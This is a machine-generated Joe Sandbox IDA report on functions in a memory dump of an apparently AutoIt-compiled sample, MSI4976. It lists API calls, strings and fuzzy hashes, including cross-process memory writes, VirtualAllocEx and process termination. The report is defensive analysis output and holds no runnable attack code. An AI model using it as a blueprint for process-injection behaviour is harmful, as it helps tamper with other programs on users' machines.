Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 4bb43e23e89a22bcc483e14f6ba074f60ff3a5414dcc0ee25a86cfe3b872be5b
Instruction ID: 5542bccfce39604748c7b938c11a207d187917ade423a66827e998392d236401
Opcode Fuzzy Hash: 4bb43e23e89a22bcc483e14f6ba074f60ff3a5414dcc0ee25a86cfe3b872be5b
Instruction Fuzzy Hash: DE11097600014DBFEF129F90DC88E9A7FADEB09354F048011FA1A49160D7719E55DBA0

Function 0035EF91 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0035EFB6
GetDeviceCaps.GDI32(00000000,00000058), ref: 0035EFC7
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0035EFCE
ReleaseDC.USER32(00000000,00000000), ref: 0035EFD6
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0035EFED
MulDiv.KERNEL32(000009EC,?,?), ref: 0035EFFF

Part of subcall function 0035A83B: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,0035A79D,00000000,00000000,?,0035AB73), ref: 0035B2CA

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CapsDevice$ExceptionRaiseRelease
String ID:
API String ID: 603618608-0
Opcode ID: f725962f52f9d4e9ef99da9bca9c9987df4485ea07b7289298bd699bd6a13330
Instruction ID: 24208af95c8ef5f24eeed347d06be6d06915e73437908c5780a0847bb047a36d
Opcode Fuzzy Hash: f725962f52f9d4e9ef99da9bca9c9987df4485ea07b7289298bd699bd6a13330
Instruction Fuzzy Hash: F201A7B5A00305BFEB119BA59C45F5EBFBCEB49751F054066FE05AB290D6709D00CF61

Function 003487D7 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 003487D7

Part of subcall function 00341E5A: __initp_misc_winsig.LIBCMT ref: 00341E7E
Part of subcall function 00341E5A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00348BE1
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00348BF5
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00348C08
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00348C1B
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00348C2E
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00348C41
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00348C54
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00348C67
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00348C7A
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00348C8D
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00348CA0
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00348CB3
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00348CC6
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00348CD9
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00348CEC
Part of subcall function 00341E5A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00348CFF

__mtinitlocks.LIBCMT ref: 003487DC

Part of subcall function 00348AB3: InitializeCriticalSectionAndSpinCount.KERNEL32(003DAC68,00000FA0,?,?,003487E1,00346AFA,003D67D8,00000014), ref: 00348AD1

__mtterm.LIBCMT ref: 003487E5

Part of subcall function 0034884D: RtlDeleteCriticalSection.NTDLL(00000000), ref: 003489CF
Part of subcall function 0034884D: _free.LIBCMT ref: 003489D6
Part of subcall function 0034884D: RtlDeleteCriticalSection.NTDLL(003DAC68), ref: 003489F8

__calloc_crt.LIBCMT ref: 0034880A
GetCurrentThreadId.KERNEL32 ref: 00348833

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
String ID:
API String ID: 2942034483-0
Opcode ID: 6a516d75efda10b16c72710ac73fc3e9d2c640d8b265a7e1066808e1ac7f0941
Instruction ID: fa4283bd86b2ecde7fca2d832d6daf6eadaec7b606781ff16b46e67814a90092
Opcode Fuzzy Hash: 6a516d75efda10b16c72710ac73fc3e9d2c640d8b265a7e1066808e1ac7f0941
Instruction Fuzzy Hash: 1CF0B43311AB515AE26777787C0769E2AC4CF02B34F610A2AF464DD0D2FF50B8414150

Function 0036A3D2 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 1423608774-0
Opcode ID: f916dd32d678710732f7cb1a4bf48ef9f9b0f32c93d98cba2f0625b59c91a2b9
Instruction ID: da376fc66ed4a05a4c05f321353b45e082f803f1a7509e561cba7a13c30fe0b8
Opcode Fuzzy Hash: f916dd32d678710732f7cb1a4bf48ef9f9b0f32c93d98cba2f0625b59c91a2b9
Instruction Fuzzy Hash: 1B01F436101611EBD7172B54EC48EEB7BADFF8A702F114529F503A69A5CB74AC00CF61

Function 00321867 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00321898
MapVirtualKeyW.USER32(00000010,00000000), ref: 003218A0
MapVirtualKeyW.USER32(000000A0,00000000), ref: 003218AB
MapVirtualKeyW.USER32(000000A1,00000000), ref: 003218B6
MapVirtualKeyW.USER32(00000011,00000000), ref: 003218BE
MapVirtualKeyW.USER32(00000012,00000000), ref: 003218C6

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 99f5e4ece7a03d6c3e5e7f99eb2d3c35d1c1a042d19cc3020e7723d575f69cbb
Instruction ID: 22d2346623e5dc092c2c8b866005e223b26ab80f63343ad826a118bf5b021130
Opcode Fuzzy Hash: 99f5e4ece7a03d6c3e5e7f99eb2d3c35d1c1a042d19cc3020e7723d575f69cbb
Instruction Fuzzy Hash: B40167B0902B5ABDE3008F6A8C85B52FFB8FF19354F04411BA15C47A42C7F5A864CBE5

Function 003684F4 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00368504
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0036851A
GetWindowThreadProcessId.USER32(?,?), ref: 00368529
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00368538
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00368542
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00368549

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 6efda04d60f71da55f87f38d7f899d2ed09892ee0657eb3e9d0a14042a09589e
Instruction ID: d42a72449877f7eaace689305477ca9ceb857d122924e02c74f319f8366d6ce7
Opcode Fuzzy Hash: 6efda04d60f71da55f87f38d7f899d2ed09892ee0657eb3e9d0a14042a09589e
Instruction Fuzzy Hash: 8BF05E72240158BBE7225B629D0EEEF7F7CDFCBB15F000159FA06D1061EBA06A01C6B5

Function 0036A31D Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 0036A330
RtlEnterCriticalSection.NTDLL(?), ref: 0036A341
TerminateThread.KERNEL32(?,000001F6,?,?,?,003966D3,?,?,?,?,?,0032E681), ref: 0036A34E
WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,003966D3,?,?,?,?,?,0032E681), ref: 0036A35B

Part of subcall function 00369CCE: CloseHandle.KERNEL32(?,?,0036A368,?,?,?,003966D3,?,?,?,?,?,0032E681), ref: 00369CD8

InterlockedExchange.KERNEL32(?,000001F6), ref: 0036A36E
RtlLeaveCriticalSection.NTDLL(?), ref: 0036A375

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: a0e110deeece13ca884857f3dbc93b507564d03f5ef033dc21d8752cdca411be
Instruction ID: d6a5248818caa74d3cae374d015d484df0b77b02a68b336dd79adaf0099f96f1
Opcode Fuzzy Hash: a0e110deeece13ca884857f3dbc93b507564d03f5ef033dc21d8752cdca411be
Instruction Fuzzy Hash: 5BF0E236140201ABD3132B64EC4CEDB7B7DFF8A302F000821F203A58A5CBB89800CF50

Function 0032C320 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 259fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0032C419
ReadFile.KERNEL32(?,?,00010000,?,00000000,?,?,00000000,?,00366653,?,?,00000000), ref: 0032C495

Strings

Sf6, xrefs: 003948B8, 0039487C, 00394839

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FileRead_memmove
String ID: Sf6
API String ID: 1325644223-1839599683
Opcode ID: 7a2b5c10e6e994cd32d1f1cccab5bb758cdc92955fba767b2835c9799c9c8e25
Instruction ID: e79eb6c5d3a90eb27066880e30b11075825a845e8aa522a88d8c3ff0a2ea4756
Opcode Fuzzy Hash: 7a2b5c10e6e994cd32d1f1cccab5bb758cdc92955fba767b2835c9799c9c8e25
Instruction Fuzzy Hash: C3A1EF30A04629EBDF02DF66E880BAEFBB4FF05300F14C595E8659B681D735E961CB91

Function 0033D7C7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON

Download Yara Rule

APIs

Part of subcall function 0034010A: std::exception::exception.LIBCMT ref: 0034013E
Part of subcall function 0034010A: __CxxThrowException@8.LIBCMT ref: 00340153

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

Part of subcall function 0032BBD9: _memmove.LIBCMT ref: 0032BC33

__swprintf.LIBCMT ref: 0033D98F

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 0033D832

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: a379e83cd3f404bd6eae28f1eeb84aecf270c634a6d6ad776783dce8da2f7ae2
Instruction ID: b80af39c73365e554eef218fab25945e6001cda5e4738f8d8e91b7bee2320e02
Opcode Fuzzy Hash: a379e83cd3f404bd6eae28f1eeb84aecf270c634a6d6ad776783dce8da2f7ae2
Instruction Fuzzy Hash: E3914B311183119FCB16EF24E886D6EB7A8FF99700F01495DF5969B2A1EB30EE04CB52

Function 0037B482 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0037B4A8
CharUpperBuffW.USER32(?,?), ref: 0037B5B7
VariantClear.OLEAUT32(?), ref: 0037B73A

Part of subcall function 0036A6F6: VariantInit.OLEAUT32(00000000), ref: 0036A736
Part of subcall function 0036A6F6: VariantCopy.OLEAUT32(?,?), ref: 0036A73F
Part of subcall function 0036A6F6: VariantClear.OLEAUT32(?), ref: 0036A74B

Strings

AUTOIT.ERROR, xrefs: 0037B5BD
Incorrect Parameter format, xrefs: 0037B4E0, 0037B6AD

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: e6799fa4ed6b945a50a209e7754b45ee8e99a0da235fcb493098789981c08f2c
Instruction ID: 5257bcc0fcf60c674ed83c2dc260e0e6aeac5e36f9d66394d5538c752a5ccb88
Opcode Fuzzy Hash: e6799fa4ed6b945a50a209e7754b45ee8e99a0da235fcb493098789981c08f2c
Instruction Fuzzy Hash: AF919E746043019FCB11DF24C485A5ABBF8EFC9710F14882DF88A9B352DB35E945CB52

Function 0038C2E7 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0038C354
ScreenToClient.USER32(?,00000002), ref: 0038C384
MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 0038C3EA

Strings

@U=u, xrefs: 0038C440

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID: @U=u
API String ID: 3880355969-2594219639
Opcode ID: d330763eab0f1f87f129a135d16b1c6256953aefefc3b276c8b91d114f15dc9d
Instruction ID: 92fc3f95bad0405ee5da43dd3122a6a068c4c2679cd0c4a226b0843f73212a75
Opcode Fuzzy Hash: d330763eab0f1f87f129a135d16b1c6256953aefefc3b276c8b91d114f15dc9d
Instruction Fuzzy Hash: E9518135910204EFCF22EF68C880AAE7BB5FF45320F119199F9159B291D770DD81CBA0

Function 0035D206 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 130windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0035D258
__itow.LIBCMT ref: 0035D292

Part of subcall function 0035D4DE: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0035D549

SendMessageW.USER32(?,0000110A,00000001,?), ref: 0035D2FB
__itow.LIBCMT ref: 0035D350

Strings

@U=u, xrefs: 0035D258, 0035D2FB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$__itow
String ID: @U=u
API String ID: 3379773720-2594219639
Opcode ID: 3fb9f843f7fee5b45215499fd0423810b5752076f2c90f248fd5ce615b03a499
Instruction ID: b8c939d0d6b5fe179c0586f57705b8daa065779d6caf54ad1f9d0b2206c7ca55
Opcode Fuzzy Hash: 3fb9f843f7fee5b45215499fd0423810b5752076f2c90f248fd5ce615b03a499
Instruction Fuzzy Hash: BD41A775A003196BDF23DF54D852FEE7BB9AF49701F000015FA05AB2A1DB749A49CB52

Function 0035CF7F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00364D41: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0035C9FE,?,?,00000034,00000800,?,00000034), ref: 00364D6B

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0035CFC9

Part of subcall function 00364D0C: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0035CA2D,?,?,00000800,?,00001073,00000000,?,?), ref: 00364D36

Part of subcall function 00364C65: GetWindowThreadProcessId.USER32(?,?), ref: 00364C90
Part of subcall function 00364C65: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0035C9C2,00000034,?,?,00001004,00000000,00000000), ref: 00364CA0
Part of subcall function 00364C65: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0035C9C2,00000034,?,?,00001004,00000000,00000000), ref: 00364CB6

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0035D036
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0035D083

Strings

@U=u, xrefs: 0035CFC9, 0035D036, 0035D083
@, xrefs: 0035D09B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @$@U=u
API String ID: 4150878124-826235744
Opcode ID: 5db71ad44a075a6e95268adf0bd996351c96b2d327d245c1c0650bb795622c9a
Instruction ID: a793db9a12f9fe0e5b1df916c247e11865244823818d8734f565193b1b335840
Opcode Fuzzy Hash: 5db71ad44a075a6e95268adf0bd996351c96b2d327d245c1c0650bb795622c9a
Instruction Fuzzy Hash: B2412D72D00218BEDB11DF94CC85EDEBB78AF45700F108095EA45BB191DA706E49CB61

Function 00361050 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(?,00000000,00000005,?,?), ref: 003610B8
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 003610EE
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 003610FF
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00361181

Strings

DllGetClassObject, xrefs: 003610F4

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

